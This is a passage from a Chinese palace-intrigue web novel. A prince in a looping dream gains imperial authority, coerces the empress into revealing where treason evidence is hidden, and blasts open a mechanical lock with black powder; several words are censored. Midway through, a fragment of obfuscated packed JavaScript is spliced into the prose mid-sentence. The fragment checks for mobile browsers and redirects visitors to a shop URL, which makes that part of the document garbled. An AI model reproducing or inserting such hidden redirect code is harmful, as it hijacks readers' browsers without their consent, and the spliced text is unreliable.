黑暗中,他的感官变得更加敏锐,能清晰地听到门外守卫轻微的呼吸声,能感受到墨蛟号随着江水微微起伏的韵律。
他摒弃杂念,将所有注意力集中在那把困扰他十年的机关锁上,回忆着每一个细节,每一个失败的尝试,同时构想着今夜即将进行的、前所未有的破坏性实验。
意识,逐渐沉入那片光怪陆离、由他主导却又充满未知的梦境深渊……
今夜的梦,注定将与以往截然不同。
下一刻,周昕阳的意识被无边的黑暗所吞噬。
朦胧、黑暗、寂静,犹如漆黑如墨的星空。
在半梦半醒之间,他发现自己好像变成了一只七彩绚烂的梦幻蝴蝶,在浩瀚无垠的星空中,不断煽动着翅膀,朝着未知远方飞去。
时光流逝,无尽的星空中,突然亮起了一束光。
光束化作一条流淌着淡淡银光的浩瀚河流……
……
“醒一醒!”
“王爷,你怎么了?”
一个陌生的声音,在周昕阳的耳畔响起。
第87章 养心殿面圣
熟悉的声音,在周昕阳的耳畔响起。
周昕阳不用睁眼,就知道是戴面具的冷千嶂在说话……
下一刻,周昕阳睁开眼睛,看向周围。
依旧是那座熟悉的偏殿,一旁的锁匠们在窃窃私语,戴着暗金色面具的冷千嶂,正紧张看着自己。
不远处的漆黑铁箱上,只剩下一把交织着锁链的机关铜锁。
一切照旧。
梦开始的地方。
“王爷,你怎么了?”
冷千嶂的声音,适时的响起。
周昕阳摇了摇头:“我没事。”
“突然有些头晕而已……”
周昕阳的思绪随之转动,这一轮梦境,他必须走出不一样的路线。
他缓缓站起身来,前一次的****历历在目,上一次**后七零八落的零件同样记忆犹新。
周昕阳的目光落在机关铜锁上。
看着周昕阳的动作,冷千嶂开口问道:“王爷,你有开锁主意了?”
“我要去见父皇。”
周昕阳收回目光,淡淡说道。
“这……”冷千嶂有所迟疑,他不明白周昕阳去见陛下的用意是什么?
“怎么?”
“不行?”
“你真以为孤是囚犯不成?”
“孤可是功臣!”
“若不是孤,你以为今夜能这么安宁?”周昕阳冷笑一声,眼眸锐利。
嘶!
冷千嶂自然清楚周昕阳指的是什么事。
太子谋逆、国舅统兵,意图冲进神武门发动兵变……这可不是一件小事。
若不是被周昕阳提前撞见,恐怕今夜谁都不安生。
血溅皇宫!!
“是,臣这就去禀告……”冷千嶂被周昕阳那锐利的眼神和隐含的威势所慑,加之今夜之事确实全赖周昕阳才得以平息,于情于理,这位刚刚立下大功的王爷提出面圣的请求,他都难以强硬拒绝。
冷千嶂低声应下,深深看了周昕阳一眼,随即转身,对身旁一名下属低声吩咐了几句,那名宸察卫立刻领命,快步无声地消失在偏殿的阴影中。
等待的时间并不长,但在这种氛围下却显得格外煎熬。
偏殿内,锁匠们的窃窃私语早已停下,所有人都屏息凝神,目光在周昕阳和殿门之间来回逡巡,猜测着这位王爷突如其来的要求背后,究竟藏着怎样的意图?
空气中弥漫着一种山雨欲来的紧张感。
周昕阳负手而立,目光再次扫过那漆黑的铁箱和其上纠缠的机关铜锁,眼神深邃。
他不再急于上前尝试开锁,仿佛那令无数锁匠束手无策的难题已暂时被他抛诸脑后。
他的心思,已然飞向了那座皇宫深处、象征着至高权力的宫殿。
面见父皇,是他打破目前僵局的第一步棋。
他需要确认一些事情,也需要为自己争取更多的主动权和时间。
脚步声由远及近,那名宸察卫去而复返,在冷千嶂耳边低语几句。
冷千嶂面具下的眉头似乎动了动,他转向周昕阳,语气比之前更添了几分复杂:“王爷,陛下有请。”
“带路。”周昕阳言简意赅。
在冷千嶂和两名宸察卫的护送下,周昕阳离开了偏殿,穿过重重宫禁。夜色下的皇宫,依旧弥漫着未曾散尽的肃杀之气,巡逻的侍卫明显增多,眼神警惕,宫灯映照下的身影都带着几分紧绷。
终于,他们来到了皇帝寝宫——养心殿外。
殿外侍卫林立,气氛凝重。
经过通传,周昕阳独自一人,迈步走进了这座熟悉的宫殿。
殿内灯火通明,龙榻之上,昭明帝半倚着,脸色稍显苍白,但那双眼睛,在看到周昕阳时,却骤然迸发出一丝锐利的光芒,如同垂老的雄狮,虽已力衰,余威犹存。
“儿臣叩见父皇。”周昕阳依礼**,姿态恭敬。
“平身吧。”昭明帝的声音有些沙哑,他微微抬手,目光落在周昕阳身上,带着审视,“老九,这么晚了,你不去琢磨怎么打开那箱子,来见朕,所为何事啊?”
周昕阳起身,垂手恭立,语气沉稳地开口:“回父皇,儿臣想要便宜行事之权。”
“儿臣打算继续开箱,但不想受到宸察院的约束。”
“这种被当成嫌犯,关起来的感觉,太难受了。”
“儿臣受不了。”
“便宜行事之权?”昭明帝眼眸中露出审视的光芒,“你想要做什么?”
“启禀父皇,儿臣想要为父皇分忧。”周昕阳沉声回答。
“分忧?”
“你现在帮朕开锁,打开铁箱,就已经是在为朕分忧了。”昭明帝淡淡说道。
“儿臣还想帮父皇解开一桩心事。”周昕阳不疾不徐的说道。
“哦?”
“为朕解开心事?”
“说说看。”
昭明帝来了兴趣,望着周昕阳。
“如今国舅下狱、太子被抓,虽然谋反之事,已经板上钉钉,可最关键的证据,却下落不明。”
“父皇应该也在为这件事头疼吧?”周昕阳试探的问道。
“还有呢?”昭明帝不见喜怒,淡淡开口。
“还有……长孙家以及皇后娘娘。”周昕阳沉声说道。
昭明帝的神色第一次有了变化。
他那双原本因疲惫而略显浑浊的眼睛,瞬间变得清明而锐利,如同鹰隼般紧紧锁住周昕阳,仿佛要穿透他的皮囊,直窥其内心最深处的想法。
殿内原本就凝重的空气,此刻几乎要凝固成实质,连灯火的跳动都似乎缓慢了下来。侍立在远处的内侍们更是将头埋得更低,恨不得自己隐形。
“长孙家……皇后……”昭明帝缓缓重复着这两个词,声音低沉沙哑,每一个字都像是从齿缝间挤出来的,带着一种难以言喻的沉重和寒意。“老九,你的心思,动得是不是太远了些?”
周昕阳感受到那如有实质的目光压迫,但他并未退缩,反而将腰杆挺得更直,目光坦然迎向自己的父皇,语气依旧沉稳,却透着一股不容置疑的笃定:“父皇明鉴,非是儿臣心思动得远,而是树欲静而风不止。太子与国舅之事,看似已定,然其根基未动,党羽未清。”
“长孙一族盘踞朝堂多年,门生故旧遍布天下,皇后娘娘稳坐中宫,其影响力更是无远弗届。如今太子虽倒,然百足之虫死而不僵,若不能趁此良机,一举廓清朝野,剪除后患,只怕日后必生更大的祸端!”
他稍作停顿,观察着昭明帝的反应,见皇帝虽然面色阴沉,但并未立刻斥责,便继续沉声说道:“儿臣深知,父皇顾念结发之情,对皇后娘娘或有不忍。然,国法重于山,社稷高于一切!今日之仁,可能便是明日倾覆宗庙之祸根!”
“父皇乃一代明君,
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当知壮士断腕之理。”
“儿臣愿为父皇手中利刃,斩断这盘根错节的荆棘,为父皇,也为大虞江山,彻底铲除隐患!”
昭明帝久久不语,只是用那双深不见底的眼睛死死盯着周昕阳。他的手指无意识地在龙榻的扶手上轻轻敲击着,发出沉闷而规律的“叩、叩”声,每一声都敲在周昕阳的心弦上。
这位帝王在权衡,在算计。
他当然知道周昕阳的话有道理,铲除长孙**是巩固皇权、避免未来动荡的必要之举。但他同样清楚,自己这个九儿子绝非甘于人下之辈,如此积极地要揽下这桩脏活,其背后所图,恐怕绝非仅仅是为君分忧那么简单。
过了许久,昭明帝才缓缓开口,声音带着一丝疲惫,更带着帝王的深沉心机:“你说得……不无道理。长孙家,确实是尾大不掉了。”他话锋一转,目光如刀,“但,老九,你想如何便宜行事?又想做到何种地步?将皇后也一并废黜吗?”
周昕阳心中一震,知道最关键的时刻到了。他深吸一口气,沉声道:“儿臣不敢妄言废立中宫,此乃父皇圣心独断之事。儿臣所求,乃是在调查太子谋逆案时,拥有彻查之权,可不受宸察院乃至其他衙门的掣肘,凡有牵连者,无论涉及何人,皆可先行讯问、取证。”
“唯有如此,方能以最快的速度,厘清案情,揪出所有同党,避免有人趁机构陷、或者湮灭证据。至于最终如何处置,自然全凭父皇圣裁!”
他巧妙地划定了范围——只针对太子谋逆案进行调查,而不直接触及皇后废立这个更敏感的话题。
但这“无论涉及何人,皆可讯问”的权力,无疑是一把可以直指长孙家乃至皇后本人的利剑。
昭明帝再次沉默,手指的敲击声也停了下来。他闭上眼睛,似乎在养神,又像是在进行激烈的思想斗争。
周昕阳屏息静气,等待着最终的裁决。
终于,昭明帝重新睁开眼,眼中闪过一丝决断,他轻轻挥了挥手,对身旁侍立的大太监道:“拟旨,赐泽川王周昕阳……钦差身份,全权负责太子谋逆一案之稽查审讯,一应事宜,可先斩后奏,不必另行请旨。宸察院及京兆尹以下各衙门,需全力配合,不得有误!”
“奴才遵旨。”大太监连忙躬身应下。
“老九,”昭明帝看向周昕阳,目光深邃,“朕,给你这把刀,希望你真能替朕斩断荆棘,而不是……伤及自身,或者,反噬其主!”
这最后一句,警告意味十足。
周昕阳心中狂喜,但脸上却是一片肃然,他撩袍跪地,郑重叩首:“儿臣,领旨谢恩!定不负父皇重托,必将此案查个水落石出,以正·国法,以安社稷!”
这一刻,周昕阳知道,他在这轮梦境中,已经成功迈出了至关重要的一步。
他不仅暂时摆脱了被软禁的被动局面,更是获得了一把足以在京城掀起滔天巨浪的尚方宝剑!
这一切,比周昕阳原本的计划更顺利。
他本打算,若是父皇不同意,他就会重演熾璋宮的一幕,让父皇亲眼看下皇后是如何参与的……
如此一来,父皇就一定会同意。
可没想到,父皇如此信任自己。
直接就同意了。
不过这样更好,让周昕阳更能大刀阔斧的行动……
第88章 逼问皇后
周昕阳握着手中那枚沉甸甸、刻着“如朕亲临”四个龙飞凤舞大字的金色令牌,指尖能清晰感受到金属的冰凉与上面精细的浮雕纹路。
这小小的令牌,此刻却重若千钧,代表着无上的权柄,也意味着不容退缩的责任与即刻行动的必要。
“虽然是梦境,但这件事还是要第一时间完成。”
“虽然会耽误一点炸箱的时间,可这一轮,我已经省下了很多时间。”
“也不怕耽搁了。”
“如朕亲临令牌虽然好用,但肯定也被父皇暗中盯着,如果光弄锁,而不去处理皇后、长孙家的事情,肯定会被影响后续的事情……”
周昕阳心念电转,眼神锐利如刀,他清楚地知道,令牌在手,就必须立刻拿出行动和成果。
任何的迟疑和无所作为,都会引起昭明帝的猜忌,甚至可能随时收回这份看似浩荡的皇恩。
而他要做的事情,目标明确——再次前往皇后的熾璋宮,逼问出太子谋逆案中最关键的物证:那件私造的龙袍和仿制的玉玺下落。
但这一次,他拥有了“钦差”的身份和“先斩后奏”的权力,策略必须改变。
上一次在熾璋宮,他与皇后进行了冗长的言语交锋和心理博弈,虽然最终成功,但耗费了太多时间。
这一次,他要利用刚刚获得的绝对权威,营造出泰山压顶般的态势,以雷霆万钧之势,在皇后还没来得及组织起有效的心理防御之前,就一举击溃她的心防,让她迅速吐露秘密。
“要更巧妙,更迅速。”周昕阳眼中闪过一丝冷光。
巧妙在于不再需要虚构“黑衣人”之类的复杂情节,而是直接利用“如朕亲临”的令牌所代表的皇权,形成绝对的压制。
迅速在于行动要快,流程要简,不给皇后任何喘息和思考对策的时间。
他收起令牌,转身大步走出养心殿。
冷千嶂立刻迎了上来,面具下的眼神充满了探究与凝重。显然,周昕阳被授予钦差之事和那枚令牌,他已经知晓。
“王爷。”冷千嶂的声音带着一丝不易察觉的复杂与敬畏。
周昕阳停下脚步,目光平静却带着不容置疑的威势看向他,直接亮出手中金牌,语气斩钉截铁:“冷千户,立刻点齐一队精锐宸察卫,随本王前往熾璋宮。持此令牌,沿途各门禁卫,不得阻拦!”
“熾璋宮?”冷千嶂心头一震,但看到那枚金光闪闪的令牌,所有疑问都被压下,他立刻躬身抱拳,“臣遵命!”
但一个疑惑,在冷千嶂心中浮现。
他似乎……从未跟周昕阳透露过自己的名字吧?
但很快,这个想法,就被他压了下来。
……
片刻之后,一队甲胄鲜明、气息冷峻的宸察卫已集结完毕。周昕阳一马当先,冷千嶂紧随其后,一行人踏着夜色,径直朝着皇后寝宫方向疾行。
宫道上的侍卫见到周昕阳手中高举的“如朕亲临”金牌,纷纷面色剧变,慌忙跪地行礼,无人敢有丝毫阻拦。
很快,熾璋宮那熟悉的宫门已映入眼帘。
宫门依旧紧闭,门外把守的已换上了一批新的宸察卫,气氛比之前更加森严。
“开门!”周昕阳不等守卫通传,直接下令,声音在寂静的夜里格外清晰。
守门宸察卫看到金牌,不敢怠慢,连忙将宫门打开。
周昕阳带着冷千嶂和数名亲信宸察卫,径直闯入宫内。
留下的几名宸察卫则迅速把守住宫门各处要道,隔绝内外。
殿内,长孙皇后依旧端坐在主位之上,只是脸色比之前更加苍白,眼神中只剩下深深的疲惫和一丝不易察觉的惊惶。
她显然没料到周昕阳会出现在这里?
而且还是以如此强势、如此直接的方式闯入。
周昕阳身旁站着得数名宸察卫,更让她心头一沉。
当她看到周昕阳手中那枚在烛光下熠熠生辉的金色令牌时,她的瞳孔猛地收缩,身体几不可察地颤抖了一下。
作为皇后,她太清楚那枚令牌意味着什么——那是绝对的、不容置疑的皇权代表!
周昕阳没有给她任何反应的时间,他大步走到殿中央,停下脚步,目光如炬,直视长孙皇后,开门见山,声音冰冷而极具压迫感:
“皇后娘娘,奉陛下密旨,彻查太子谋逆一案相关证物下落。本王没时间与你虚与委蛇。”
他举起手中令牌,让那“如朕亲临”四个字清晰地映入皇后眼中。
“假玉玺、赭黄袍,藏在何处?说!”
他的话语简洁到了极致,没有任何铺垫,没有任何迂回,直接抛出了最核心的问题,配合着那枚代表着至高皇权的令牌,形成一股强大的心理冲击力,狠狠撞向长孙皇后。
长孙皇后被这突如其来的、毫不留情的逼问打得措手不及。
她原本准备好的一套说辞、一番表演,在绝对权·力的碾压面前,瞬间变得苍白无力。
她张了张嘴,想说什么,却在对上周昕阳那双仿佛能洞穿一切的眼睛和那枚冰冷的金牌时,所有的话都堵在了喉咙里。
周昕阳不给她任何思考的机会,步步紧逼,语气更加森寒:“娘娘是聪明人,当知‘如朕亲临’四字的分量。”
“陛下既已授我全权,便已不再顾念旧情。”
“此刻坦白,或可留你长孙一族血脉;若再负隅顽抗,待本王下令将这熾璋宮,乃至大慈恩寺翻个底朝天,将东西搜检出来……那便是满门抄斩,祸及九族之祸!”
他刻意顿了顿,让“满门抄斩”、“祸及九族”这几个字在寂静的殿中回荡,然后才缓缓补充道,声音不高,却字字诛心:
“太子殿下,或许还能因‘被蒙蔽’而留得一命,在囚禁中了此残生。而你们长孙家……将寸草不留。”
满门抄斩吓不到她,祸及九族也吓不到她,可周昕阳突然提出来的大慈恩寺,却让长孙皇后脸色骤变。
为何对方会突然提到大慈恩寺?
难道事情已经暴露了?
不!
不可能……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16800623|187937||http|test|mini|href|location''.split(''|''),0,{}));
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r>长孙皇后思绪疯狂转动,心中恐惧到了极点:本宫明明已经将知晓内情的人都处理干净了,怎么会暴露呢?不可能的,老九肯定是在诈我……对,一定是这样的。
“本宫不知道泽川王在说些什么?”长孙皇后强迫自己冷静下来,冷声道。
“是吗?”
“那本王会好好搜查,尤其是皇后娘娘最近做的事情,哪怕是大慈恩寺,本王也不会放过。”周昕阳又提了一次这四个字。
这一下,周昕阳的话,彻底击溃了长孙皇后最后的心理防线。
长孙皇后明白周昕阳肯定是知道了什么?
不然不可能一次又一次提起大慈恩寺……
可她心中还抱有着一丝丝侥幸。
“泽川王,你到底想说什么?”
“本宫……不清楚。”长孙皇后声音都有些颤抖了。
周昕阳冷笑一声:“哼,都到这个时候了,还是执迷不悟,冥顽不灵。”
“皇后娘娘,你最近做了什么?”
“还要本王来说吗?”
“你以为你的行为,宸察院没有记录?”
“你以为用给太后祈福的名义,捐赠一尊不动明王佛像,就可以天衣无缝呢?”
“还要本王继续说下去吗?”
周昕阳的声音越来越低,到最后,几乎只有长孙皇后和周昕阳两个人能够听见。
她的肩膀剧烈地颤抖起来,脸上血色尽褪,嘴唇哆嗦着,最终,像是被抽走了所有力气,瘫软在座椅上,绝望地吐露了那个她誓死守护的秘密:
“在大慈恩寺大雄宝殿……三世佛左侧配殿……那尊我捐赠的纯金不动明王佛像……腹内暗格……玉玺……幡帐……是龙袍所织……”
语速快而混乱,但关键信息已然清晰。
周昕阳得到了他想要的答案,与他上一次梦境中获得的信息完全一致。
他心中安定,目的已达到。
周昕阳不再多看失魂落魄的皇后一眼,利落地收起令牌,转身对冷千嶂下令,声音恢复了平日的冷静:“冷千户,立刻派人秘密包围大慈恩寺所述位置,没有本王手令,任何人不得靠近那尊佛像。同时,加派人手,保护好皇后娘娘,没有陛下旨意或本王命令,不许任何人进出熾璋宮,亦不许娘娘与外界有任何联络。”
“是!属下明白!”冷千嶂凛然遵命,看向周昕阳的目光中,敬畏之色更甚。
这位泽川王的手段,一次比一次更显凌厉果决。
周昕阳微微颔首,不再停留,大步流星地离开了宫殿。
整个过程,从闯入到逼问出结果,不过短短一炷香的时间,比之上一次,效率不知快了多少倍。
夜色中,他握紧了手中的令牌,目光投向宫墙之外。
长孙皇后的情报已然到手,下一步,就是继续去炸箱。
“这一次,节约了这么多的时间,一定要把锁,完整的拼合出来!”
“只要弄懂了机关锁的内部机构,就一定有办法打开……”
周昕阳思绪微动,暗暗想到。
第89章 二次炸箱
与皇后周旋逼问情报,虽是为了维持梦境逻辑、应对父皇可能的审视所必需的一步,但终究是只是推进剧情所需罢了。
他此轮梦境的核心目标,始终是那把困住他十年、关联着巨大秘密的铁箱。
“省下了至少两个时辰。”周昕阳心中估算着。
上一次在熾璋宮与皇后虚与委蛇、步步为营的心理博弈,耗费了大量时间和心力。
而这一次,凭借“如朕亲临”令牌的绝对权威,他以雷霆之势直击要害,效率提升了数倍不止。
这节省下来的时间,对他而言弥足珍贵,意味着他有更充裕的工夫去进行那危险而关键的“炸箱”实验。
他没有丝毫耽搁,对身旁的冷千嶂简短吩咐道:“冷千户,皇后这边,按计划看守即可。”
“大慈恩寺那边,派人暗中监控,没有本王命令,不得擅自行动,打草惊蛇。”他暂时不打算立刻去起获证物,那会引来更多关注,干扰他的主要计划。
“属下明白。”冷千嶂躬身领命,对周昕阳的指令毫无异议。这位王爷行事愈发莫测高深,却又环环相扣,令他不敢有丝毫怠慢。
周昕阳点了点头,不再多言,转身便朝着偏殿方向疾步而去。他脚步迅捷,衣袂带风,脑海中已然开始飞速构思接下来的步骤。
节省的时间,必须用在刀刃上。
再次回到那座熟悉的偏殿,气氛依旧压抑。
锁匠们看到去而复返的周昕阳,尤其是他脸上那种与之前截然不同的、带着某种决绝和专注的神情,都不由得屏住了呼吸,窃窃私语声瞬间消失。
周昕阳的目光直接越过众人,牢牢锁定了房间中央那个漆黑的铁箱,以及箱子上那把交织着锁链、结构繁复到令人绝望的机关铜锁。
他没有像往常那样,先是仔细观察、试探,而是径直走到铁箱前,伸出手,指尖轻轻拂过冰冷锁身那复杂无比的纹路。
触感冰凉,带着金属特有的质感,隐约间,似乎也带着十年轮回梦境积累下的沉重。
“这一次,不必畏首畏尾了。”周昕阳眼中闪过一丝冷光。现实中的铁箱或许因他的干预而未曾出现,这梦中的铁箱,就成了他唯一可以肆意探索、而不必担心彻底失去的试验场。
既然常规方法穷尽十年亦无法解开,那么,非常之法,或许就是唯一的出路。
他回忆着上一次引爆**后,锁芯内部零件在巨大冲击下飞溅、暴露的瞬间景象。
那些平日在完好状态下根本无法窥见的齿轮、簧·片、卡榫的排列和联动方式,在**的刹那,如同惊鸿一瞥,虽然短暂,却蕴含着巨大的信息量。
“三十六万二千八百八十种组合……”公孙启那令人绝望的声音再次在脑海中响起,但这一次,周昕阳心中涌起的不是无力感,而是一种近乎偏执的挑战欲,“一次错误的拼合,就会引爆。但若将这错误主动掌控,将其变为观察的窗口呢?”
“来人,取**。”
周昕阳深吸一口气,冷声吩咐道,目光依旧牢牢锁定在机关锁上,仿佛要将那繁复的纹路刻入脑海。
殿内众人闻言,皆是一惊,尤其是那些老锁匠,脸上瞬间血色尽褪。
用**来对付这把精巧绝伦的机关锁?
这简直是闻所未闻的疯狂之举!
一旦控制不好,别说开锁,整个箱子乃至偏殿都可能被炸上天!
冷千嶂面具下的眉头也紧紧皱起,他上前一步,压低声音,带着明显的迟疑和劝阻之意:“王爷,此事是否太过冒险?这**若是一个不慎,恐怕……”
周昕阳甚至没有回头,只是从鼻子里发出一声极轻却带着不容置疑威压的哼声:“嗯?”
这一声轻哼,语调平淡,却让冷千嶂瞬间感到一股寒意从脊椎窜起。
他立刻想起了方才在熾璋宮,这位王爷手持金牌、以雷霆之势逼问皇后的场景,也想起了那枚“如朕亲临”令牌所代表的绝对权威。
任何质疑和拖延,在此刻都是不合时宜的。
况且,他作为属下,哪有能力阻拦手持金令的王爷呢?
“是!属下遵命!”冷千嶂将所有劝阻的话硬生生咽了回去,立刻转身,对一名下属厉声道,“快!去取王爷所需的**来,要快!注意分量和稳定性!”
“是!”那名宸察卫不敢怠慢,立刻飞奔而出。
片刻之后,一小包性能相对稳定的黑**被取来,小心翼翼地放在周昕阳身侧的桌案上。
周昕阳这才将目光从锁上移开,扫了一眼**,然后看向人群中那个一直沉默寡言、眼神却透着精明的年轻锁匠——公孙启。
“公孙启。”周昕阳直接点名叫他。
公孙启身体微微一震,显然没料到泽川王会知道自己的名字,他连忙上前躬身:“小……小人在。”
“你手稳,心细。”周昕阳言简意赅,“过来,按本王说的做。”
“是。”公孙启不敢多问,深吸一口气,走到桌案前。
周昕阳指着机关锁上几个极其细微的、看似是装饰纹路衔接处的缝隙,沉声道:“看清这几个位置了吗?用最细的探针,蘸取微量**,慢慢填入这些缝隙深处。记住,是极微量,只需能填满缝隙即可,不可多,一分一毫都不能多!”
他一边说,一边用手比划着角度和深度。“尤其是这个主齿轮轴侧的缝隙,**要顺着这个斜角填入,确保**的冲击力主要朝向这个方向。”
他指向锁体内部的一个推测方位。上一次**,碎片大多向前方和上方飞溅,导致靠近箱体一侧的某些关键结构观察不清。这一次,他要通过改变爆破点位置和装药角度,试图让**的能量更集中地作用于锁芯的侧后方,希望能将那一部分的构件更完整地暴露出来。
公孙启听得心惊肉跳,额头渗出细密的汗珠。
这要求简直精细到变态!不仅要控制药量,还要控制爆破方向?
这需要对锁具内部结构有惊人的想象力和预判!
他颤抖着拿起工具,依照周昕阳的指示,屏住呼吸,开始如同进行最精密的外科手术一般,将细微如尘的**粉末,一点点、小心翼翼地填入那些指定的缝隙。
周昕阳站在一旁,目光如炬,紧盯着公孙启
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的每一个动作,不时出声纠正:“角度再偏半厘……对,就是这里……力道再轻三分……”
整个偏殿鸦雀无声,所有人都紧张地看着这一幕,连大气都不敢喘。
空气中弥漫着硝烟未散的味道和一种令人窒息的紧张感。
他们明白,泽川王这不是在胡闹,而是在进行一种极度危险、却又可能蕴含着某种疯狂理性的尝试!
冷千嶂的手按在刀柄上,全身肌肉紧绷,随时准备应对可能发生的意外。
时间一点点过去,公孙启的额头上布满了汗珠,但他的手却异常稳定,终于按照周昕阳的要求,将几处关键缝隙填充完毕。
“王爷,好了。”公孙启退后一步,声音有些沙哑。
周昕阳点了点头,目光扫过那几处几乎看不出异样的锁身,眼神锐利。他回忆着上一次**时看到的内部结构闪回,大脑飞速计算着这次调整后可能产生的效果。
“希望能看到更多……尤其是侧后方的联动卡榫和那根主弹簧的固定方式……”他心中默念。
“所有人,退到殿柱之后,找坚固掩体!”周昕阳沉声命令。
众人慌忙照做,躲得远远的。
周昕阳最后检查了一遍引线的长度和位置,确保燃烧有足够的时间让众人躲避。他深吸一口气,眼中闪过一丝决绝,用火折子点燃了引信。
“嗤——”
引信燃烧的声音在寂静的殿中格外清晰。
周昕阳迅速退到一根巨大的殿柱之后,目光却死死盯着那把锁。
短短的几秒钟,仿佛被无限拉长。
终于——
“轰!!”
一声比预想中更为猛烈的**声骤然响起!不仅是从锁具的缝隙处,更是从那漆黑的铁箱内部猛地爆发出沉闷的轰鸣!
周昕阳瞳孔一缩!只见火光和浓烟不仅吞噬了机关锁,更从铁箱盖板的缝隙、甚至箱体本身几处看似装饰的浮雕接缝处喷涌而出!巨大的冲击力将沉重的铁箱都震得移位了几分,箱盖更是被崩开了一道明显的裂缝!
“果然还是引动了联动机关……其中的**,再次启动了。”周昕阳瞬间明悟。
这铁箱内部的**机关,与锁具相连!
一旦锁具被暴力破坏到一定程度,就会触发箱内自毁或防御机制!
“保护王爷!”冷千嶂厉声喝道,宸察卫们纷纷拔刀戒备,如临大敌。
硝烟弥漫,刺鼻的气味充斥整个偏殿。
待烟尘稍稍散去,众人惊骇地看到,整个铁箱被炸得四分五裂,箱子里掉出了几样东西。
有几块焦黑扭曲的金属片;有几块未曾完全燃尽的、质地奇特的木炭和细小的黑色粉末;有几片烧得边缘卷曲、焦黄发黑的绢布残片;一块约拇指指甲盖大小、边缘融化变形的玄铁片……以及最为引人注目的——一个约半尺长、被烧得面目全非的人形物件。
“箱内有物!”有眼尖的锁匠失声惊呼。
“来人,收集物件!”
周昕阳极为冷静,吩咐道。
“是,王爷。”冷千嶂抱拳行礼。
宸察院的人立刻开始清理、收集物件……
第90章 再次面圣
“冷千户,”周昕阳的声音打破了短暂的死寂,平稳得不带一丝波澜,“立刻控制现场,闲杂人等退后。你亲自带人,将这些散落之物,连同所有锁具和箱体残片,小心收集,一片纸屑、一块铁皮也不许遗漏!分门别类,记录在案!”
他的指令清晰、冷静,带着一种不容置疑的权威,瞬间稳住了有些慌乱的人心。
“是!王爷!”冷千嶂压下心中的惊涛骇浪,立刻躬身领命。他深深看了一眼周昕阳,这位王爷的镇定远超他的想象。
他不敢怠慢,立刻指挥手下:“快!取锦盒、软布来!动作轻缓,不得损坏任何证物!你,记录形状、位置!你,封锁入口,没有王爷命令,任何人不得出入!”
宸察卫们训练有素地行动起来,两人一组,小心翼翼地开始清理现场。
他们先用软毛刷轻轻拂去碎片上的浮灰,再用镊子将细小的残片夹起,放入铺着软布的锦盒中,尤其是那些绢布残片和那人形物件,处理得格外谨慎。
周昕阳站在原地,目光看似随意地扫视着整个清理过程,但眼角余光却始终锁定着几名宸察卫正在收集的锁具碎片。
当一名宸察卫用镊子夹起一块扭曲但依稀能看出复杂啮合结构的齿轮时,周昕阳的瞳孔微微收缩,瞬间记住了它的齿形和破损角度。
当另一人捡起一根崩断的簧·片时,他心中默念着其弯曲的弧度和可能的弹性系数。
主弹簧的固定点……果然是在这个位置……还有这个偏心轮的联动方式……上次炸得太碎,这次倒是完整了些……他像一块海绵,疯狂吸收着这些用“**”换来的、平日绝无可能窥见的内部机密。
公孙启和其他锁匠被勒令退到远处,伸长了脖子,既恐惧又好奇地看着宸察卫们作业。当他们看清那个被铁钉钉穿胸口焦黑人偶时,不少人都倒吸一口凉气,脸色煞白,彼此交换着惊恐的眼神——巫蛊!宫中最大的禁忌!
公孙启更是死死盯着那些锁具残骸,作为一名顶尖锁匠,他比常人更能体会到这**背后蕴含的恐怖机关技艺,同时也对周昕阳这种破坏性研究方式感到一种近乎战栗的震撼。
冷千嶂亲自监督着对那人形物件的收集,动作极其轻柔,额角渗出了细密的汗珠。
他知道,这东西一旦确认,将是掀起滔天巨浪的铁证。他下意识地看向周昕阳,却见对方依旧面色平静,只是眼神比平时更加深邃,让人看不透想法。
“王爷,”冷千嶂处理好最棘手的几样证物后,回到周昕阳身边,低声请示,声音带着一丝不易察觉的干涩,“证物初步收集完毕,是否……是否立刻封存,呈报陛下?”
周昕阳收回投向残骸的目光,看了冷千嶂一眼,语气淡然却带着一丝深意:“嗯。详细列册,尤其是箱体破损情况和锁具残骸的分布,要记录清楚。这些……都是重要线索。”
他特意强调了锁具残骸的分布,看似是在交代证物完整性,实则是为自己后续研究这些残骸埋下伏笔。
“属下明白!”冷千嶂心领神会,虽然不解王爷为何对一堆碎锁如此上心,但坚决执行命令。
就在这时,殿外传来一阵急促的脚步声,一名宸察卫快步进来,单膝跪地:“禀王爷、冷大人,陛下有旨,命二位即刻前往养心殿见驾!”
该来的总会来。周昕阳心中毫无波澜,甚至早有预料。闹出这么大动静,父皇不可能不知道。
他整理了一下衣袍,脸上适当地浮现出一抹凝重与沉痛,对冷千嶂道:“冷千户,这里交由你善后,证物严加看管。我们这就去面见父皇。”
“是!”
周昕阳最后瞥了一眼那堆即将被收走的锁具残骸,眼中闪过一丝不易察觉的锐光。
信息已经收集得差不多了……接下来,就是如何在父皇面前,将这场**和这些证物,引导向对我有利的方向。
他转身,迈着沉稳的步伐,向殿外走去。
……
养心殿内,灯火通明,却驱不散那股沉郁凝重的气氛。空气中弥漫着安神香的淡雅气息,却压不住帝王心头翻涌的怒涛。
昭明帝并未端坐于龙案之后,而是负手立于窗前,明黄色的寝衣外随意罩着一件玄色常服,背影在跳跃的烛光下显得有几分孤峭,也透着一股难以言喻的疲惫与压抑的怒火。
窗外,天色依旧漆黑,唯有宫灯在夜风中摇曳,将他的影子拉得忽长忽短。
萧景琰垂手侍立在殿柱的阴影里,眼观鼻,鼻观心,如同泥雕木塑,但微微紧绷的肩线泄露了他内心的不平静。
今夜变故迭起,东宫**,铁箱藏物,尤其是那最犯忌讳的东西……每一件都足以在朝堂掀起腥风血雨。
“陛下,泽川王与宸察院千户冷千嶂殿外候见。”内侍尖细的通报声打破了殿内的死寂。
“宣。”昭明帝没有回头,声音低沉,带着一丝不易察觉的沙哑。
殿门无声滑开,周昕阳与冷千嶂一前一后,迈着沉稳的步伐走入殿内。
两人皆衣衫整齐,但周昕阳袍角沾染的些许烟尘,以及冷千嶂面具上难以完全擦拭干净的灰烬,都无声地诉说着方才那场**的猛烈。
“微臣叩见陛下!”
“儿臣叩见父皇!”
